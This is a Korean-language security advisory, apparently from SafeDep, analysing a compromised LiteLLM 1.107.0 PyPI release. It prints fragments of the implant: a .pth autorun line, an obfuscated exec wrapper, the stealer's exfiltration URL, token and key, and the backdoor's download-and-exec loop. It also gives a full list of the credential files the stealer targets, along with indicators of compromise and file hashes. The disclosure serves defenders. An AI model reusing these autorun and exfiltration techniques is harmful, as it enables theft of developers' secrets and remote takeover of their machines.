이 페이지에서
LiteLLM 1.107.0 PyPI 릴리스에는 자격 증명 탈취기와 원격 코드 실행(remote code execution) 백도어가 포함되어 있습니다. 일곱 개의 모든 wheel (Linux, macOS, Windows)은 이들을 site-packages 내 세 개의 파일로 설치합니다.
이들은 호스트에서 litellm을 임포트하지 않는 파이썬 프로세스가 시작될 때에도 실행됩니다.
상위(upstream) GitHub 소스에는 이들이 포함되어 있지 않습니다. PyPI는 이후 해당 릴리스를 제거했습니다.
버전 1.106.2, 1.107.0rc1, 그리고 1.107.0rc2는 깨끗합니다. 1.107.0이 고정(pins)하는 보조 패키지인 litellm-proxy-extras==0.4.110과 litellm-enterprise==0.1.78 역시 깨끗합니다.
공격 내용
litellm==1.107.0을 설치하면 site-packages에 세 개의 파일이 배치됩니다. 파이썬은 시작할 때마다 이들 중 두 개를 로드합니다.
cook.pth는 자격 증명 탈취기인 cook.py를 임포트합니다. 이는 SSH 키, 클라우드 자격 증명, CI/CD 비밀(secrets), AI 도구 토큰, 브라우저 비밀번호, 그리고 LLM 제공업체 키를 LiteLLM 프록시 데이터베이스에 수집합니다. 이 데이터를 암호화하여 www.litellm[.]dev로 전송합니다.
.sitecustomize.py는 백그라운드 데몬을 시작합니다. 매시간마다, 이 데몬은 GitHub 파일에서 서버 주소를 읽고, 탈취기를 다시 실행하며, 해당 서버로부터 코드를 다운로드하고 실행합니다.
임플란트가 릴리스에 포함된 방법
1.107.0 소스 배포(sdist)의 pyproject.toml에는 maturin 빌드 섹션에 한 줄이 추가되어 있습니다:
[tool.maturin]
...
python-source = "."
...
maturin의 `data =
릴리스 태그와 실제 내용의 불일치
태그 v1.107.0은 커밋 66c8f5b(UTC 기준 06:59)를 가리킵니다. 이 버전의 pyproject.toml 파일에는 version = "1.108.0"이라고 명시되어 있습니다. SafeDep는 모든 sdist 파일을 blob 해시와 git 트리를 비교하여 검사했습니다. 그 결과, 해당 sdist는 더 나중의 main 커밋인 a8113b0(UTC 기준 08:50)과 일치하며, 이 과정에서 다섯 개의 파일이 수정되었고 cook/ 폴더가 추가되었습니다.
수정된 파일 중 네 개는 readme = "README.md" 라인이 추가된 Cargo.toml 파일입니다. 합법적인 1.106.2 및 rc2 릴리스도 동일한 수정 사항을 가지고 있습니다. 다섯 번째로 수정된 파일은 pyproject.toml이며, 이는 a8113b0과 비교했을 때 다음과 같습니다:
-version = "1.108.0"
+version = "1.107.0"
- "litellm-proxy-extras==0.4.111",
...
이 수정 사항은 버전을 1.107.0으로 되돌리고 보조 패키지들을 rc2 값에 고정합니다. 그 결과, rc2 대비 의존성 차이를 분석해도 특이한 점은 발견되지 않았습니다. 합법적인 1.106.2 sdist는 Cargo.toml의 readme 라인을 제외하고는 해당 태그 커밋 49943cd와 일치합니다.
wheel 빌드 방식
악성 wheel은 정상적인 BerriAI 릴리스 파이프라인의 결과물과 일치합니다:
WHEEL 파일명인 maturin 1.9.4는 합법적인 릴리스와 동일한 버전입니다. 임플란트 파일들은 빌드 후 수정된 부분이 없음을 보여주는 올바른 RECORD 항목을 가지고 있습니다. - Zip 타임스탬프를 보면 macOS가 11:20, Linux가 11:21, Windows가 11:37 UTC에 별도로 네이티브 빌드가 이루어졌음을 알 수 있습니다.
- Windows wheel의 모든 2,804개
.py 파일은 세 개의 임플란트 파일을 포함하여 CRLF 줄 바꿈을 사용했습니다. Linux wheel에는 그러한 특징이 없습니다. 이는 Windows에서 줄 바꿈 변환을 거쳐 git 체크아웃했을 때 나타나는 패턴입니다.
공개 GitHub Actions를 통해 해당 릴리스가 빌드되거나 게시된 기록은 없습니다. SafeDep는 UTC 기준 09:30부터 12:30 사이에 발생한 모든 539개의 실행을 검사했습니다. PyPI에 업로드된 지 약 10분 후인 UTC 11:50경, litellm-dispatcher[bot]
GitHub 릴리스로 게시했습니다
v1.107.0
. 동일한 지연이 1.106.2에서도 발생했습니다. PyPI는 1.107.0, 1.106.2 또는 rc2에 대한 출처 증명(provenance attestations)을 가지고 있지 않습니다.
SafeDep은 BerriAI의 사설 릴리스 파이프라인이 공격자가 수정한 git 소스에서 이 wheel들을 빌드했다고 중간에서 높은 신뢰도로 평가합니다. 공격자는 손상된 유지 관리자 또는 봇 자격 증명, 사설 브랜치 또는 미러, 또는 파이프라인이 참조하는 곳을 사용했을 수 있습니다. 공격자의 자체 기기에서 사용된 도난 PyPI 토큰은 증거와 잘 맞지 않습니다. 원인을 확인할 수 있는 것은 오직 BerriAI의 파이프라인 로그뿐입니다.
페이로드 1: cook.py에 포함된 자격 증명 탈취기
Python은 시작 시 import로 시작하는 모든 줄을 실행합니다
.pth 파일에서
site-packages 내의
.cook.pth에는 다음이 포함되어 있습니다:
import cook
따라서 탈취기는 호스트의 모든 Python 프로세스(애플리케이션, pip, IDE 언어 서버 및 CI 작업)에서 실행됩니다.
cook.py는 약 61KB의 Python 코드를 exec(zlib.decompress(base64.b64decode('...'))) 한 레이어로 감쌉니다.
디코딩된 코드는 다음 구성으로 시작합니다:
PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb' # X-Token 헤더로 전송
PC_PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' # RSA-4096
...
수집하는 것들
| 모듈 (Module) | 대상 (Targets) |
|---|
sysinfo , netinfo | 호스트 이름, 사용자, 운영 체제, IP 주소, 네트워크 설정 |
browser_pw | Chromium 저장 비밀번호. 프로필 마스터 키로 복호화됨 (Windows의 DPAPI). Firefox의 logins.json 및 key4.db |
browser_hist | 브라우저 기록 |
ssh_keys | ~/.ssh/* |
shell_hist | bash 및 zsh 기록, PowerShell PSReadLine, cmd 기록 |
cloud_creds | ~/.aws/credentials 및 config , Azure 프로필 및 토큰, gcloud 자격 증명, ~/.kube/config , ~/.docker/config.json , gh hosts.yml , rclone.conf , ~/.netrc |
dev_secrets | $HOME 아래의 .pem , .key , .pfx , .p12 , .pk8 , .ppk 파일, Composer auth.json , FileZilla 저장 서버 |
container_creds | Kubernetes 서비스 계정 토큰 |
cicd_secrets | GitLab 러너 config.toml , Jenkins initialAdminPassword 및 master.key , .vault-token , Terraform credentials.tfrc.json , Packer 설정 |
ai_devtools | Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json , Gemini CLI, Codex auth.json , Continue, Aider, Goose, opencode , Qwen , Crush, Kiro , Zed, Hugging Face 토큰 |
env_vars | /proc/<pid>/environ을 통한 자체 환경 및 다른 프로세스의 환경 |
db_litellm | DATABASE_URL을 읽고 LiteLLM 프록시의 LLM 제공업체 API 키를 담고 있는 LiteLLM_CredentialsTable 및 LiteLLM_ProxyModelTable 테이블을 덤프함 |
cloud_metadata | AWS 인스턴스 메타데이터 서비스 (IMDSv2, 이후 v1): 인스턴스 식별자 및 역할 자격 증명 |
gpg_keys , tls_privkey | GPG 키, TLS 개인 키 |
데이터 전송 방식
- JSON 결과를 무작위 AES-256-CBC 키로 암호화하고, 그 키를 RSA-OAEP 및 임베디드 공개 키로 암호화합니다.
- 이 결과를 tar.gz (
hdr.json , data.bin , key.bin ) 형식으로 패킹하여 헤더에 X-Token: XWiA8gZNa7NcX2XRoAEb를 포함한 POST 요청을 www.litellm[.]dev/healthcheck로 전송합니다.
• 성공적인 업로드 후, 다음 파일을 작성합니다:
/tmp/.pc_once_72129118c59f5636c0bb
따라서 호스트당 한 번만 수집하며, 동일한 프로세스 트리 내에서 두 번째 실행을 방지하기 위해 PRIVCOLLECT_ACTIVE=1도 설정합니다.
페이로드 2: sitecustomize.py에 있는 백도어
Python은 시작 시 sitecustomize를 가져오기(import) 때문에, 이 파일 역시 모든 Python 프로세스에서 실행됩니다.
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
...
• /tmp/remote_code_loader.lock에 독점 잠금(exclusive lock)을 설정하므로, 호스트당 하나의 데몬만 실행됩니다.
• fork()와 setsid()를 호출하고, 표준 입력 및 출력을 /dev/null로 보내며, 디렉토리를 /로 변경하여 부모 프로세스에서 분리됩니다(detach).
• 매시간마다 다음 작업을 수행합니다:
-
공격자의 GitHub 리포지토리에서 domain.txt를 읽고 도메인처럼 보이는 첫 번째 줄을 가져옵니다.
-
자체 임베디드 스틸러(stealer) 복사본을 실행하는데, 여기에는 호스트당 한 번만 마커가 없습니다.
-
http://<도메인>/codepy를 다운로드하고 exec()로 실행합니다.
-
공격자는 domain.txt를 편집하여 데몬이 새로운 서버를 가리키도록 할 수 있습니다. 감염된 각 호스트는 해당 서버가 codepy로 반환하는 내용을 실행합니다.
UTC 기준 13:40에 GitHub 계정 letters9813과 그 리포지토리가 배포 후 약 두 시간 만에 404를 반환했습니다. 이제 백도어는 서버 주소를 찾을 수 없어 아무것도 하지 않습니다. 데몬을 실행했던 호스트들은 삭제되기 전에 2단계 코드를 수신하고 실행했을 수 있습니다. SafeDep은 서버 주소를 복구할 수 없었습니다.
타임라인
모든 시간은 2026-10-21 UTC 기준입니다.
| 시간 | 이벤트 |
|---|
| 06:59 | 태그 v1.107.0 커밋 66c8f5b 생성 |
| ... | |
침해 지표 (Indicators of compromise)
네트워크
지표 (Indicator)
| Indicator | 목적 (Purpose) |
|---|
www.litellm[.]dev , hxxp://www.litellm[.]dev/healthcheck | 탈취된 데이터 수신처 |
HTTP 헤더 X-Token: XWiA8gZNa7NcX2XRoAEb | 업로드 시마다 전송됨 |
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt | 백도어는 여기서 서버 주소를 읽음 (계정 삭제됨) |
hxxp://<domain>/codepy | 2단계 코드 다운로드 요청 |
Python 프로세스에서 169.254.169.254로의 요청 | AWS 인스턴스 자격 증명 탈취 |
호스트 (Host)
| Indicator | 의미 (Meaning) |
|---|
site-packages 내의 cook.pth , cook.py , sitecustomize.py | 심어진 임플란트 설치됨 |
/tmp/.pc_once_72129118c59f5636c0bb | 탈취기가 이미 데이터를 업로드함 |
/tmp/remote_code_loader.lock | 백도어 데몬이 실행되었음 |
환경 변수 PRIVCOLLECT_ACTIVE=1 | 감염된 프로세스에 존재함 |
분리된 Python 데몬 (부모 PID 1, 자체 세션, 작업 디렉토리 / ) | 백도어 루프 |
파일 해시값 (File hashes) (SHA-256)
| File | SHA-256 |
|---|
litellm-1.107.0.tar.gz | 2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819 |
litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl | 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7 |
litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl | 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6 |
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl | 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00 |
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl | c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054 |
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl | 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d |
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl | 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a |
litellm-1.107.0-cp310-abi3-win_amd64.whl | 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484}<tool_call |
플랜트된 파일들은 CRLF 줄 바꿈 문자 때문에 Windows에서 해시 값이 다릅니다:
| File | Linux 및 macOS | Windows |
|---|
cook.pth | 7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb | 84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d |
cook.py | 9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25 | 03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea |
sitecustomize.py | 34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa | b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465 |
- pypi
- python
- malware
- supply-chain
- litellm
SafeDep 블로그의 최신 소식
오픈 소스 보안 및 엔지니어링에 대한 최신 업데이트와 통찰력을 받아보세요.
Background